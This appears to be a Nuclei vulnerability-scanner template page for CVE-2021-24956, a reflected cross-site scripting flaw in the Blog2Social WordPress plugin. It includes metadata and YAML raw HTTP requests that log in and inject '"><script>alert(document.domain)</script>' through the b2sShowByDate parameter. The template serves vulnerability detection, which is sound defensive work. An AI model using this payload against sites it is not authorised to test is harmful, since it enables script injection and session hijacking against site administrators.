CVE-2021-24956: Blog2Social < 6.8.7 - Cross-Site Scripting
- Template: CVE-2021-24956
- Name: Blog2Social < 6.8.7 - Cross-Site Scripting
- Description: The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
- Remediation: Fixed in version 6.8.7
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2021, wordpress, wp-plugin, xss, authenticated, wpscan, adenion, vuln
- References: https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2, https://nvd.nist.gov/vuln/detail/CVE-2021-24956
- Cves: CVE-2021-24956
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-24956.yaml
- Digest: 4b0a0048304602210097a9e39ef47754d7314bca9583b75385fc4c2b074899084e7106f31a7dedc404022100864dd449d3df5baad21858eaf6cc642c72a137d8fa6e5641f4a1578836f80105
- Created at: 2023-08-23T18:25:07Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1189
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24956.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01478
- Epss percentile: 0.74561
- Cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 2
- Product: blog2social
- Vendor: adenion
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| adenion:blog2social | yes | /v1/products/adenion/blog2social |
Labels
- Name: Blog2Social - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the admin's browser, potentially leading to session hijacking or privilege escalation.
- Remediation: Update to version 6.8.7 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs victim to visit a malicious URL
- Labels source: projectdiscovery
- From cve: CVE-2021-24956
```yaml
id: CVE-2021-24956
info:
name: Blog2Social < 6.8.7 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: Fixed in version 6.8.7
reference:
- https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
- https://nvd.nist.gov/vuln/detail/CVE-2021-24956
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24956
cwe-id: CWE-79
epss-score: 0.01478
epss-percentile: 0.74561
cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: adenion
product: blog2social
framework: wordpress
tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan,adenion,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>" name='
- 'Your Activity'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 4b0a0048304602210097a9e39ef47754d7314bca9583b75385fc4c2b074899084e7106f31a7dedc404022100864dd449d3df5baad21858eaf6cc642c72a137d8fa6e5641f4a1578836f80105:922c64590222798bb761d5b6d8e72950
```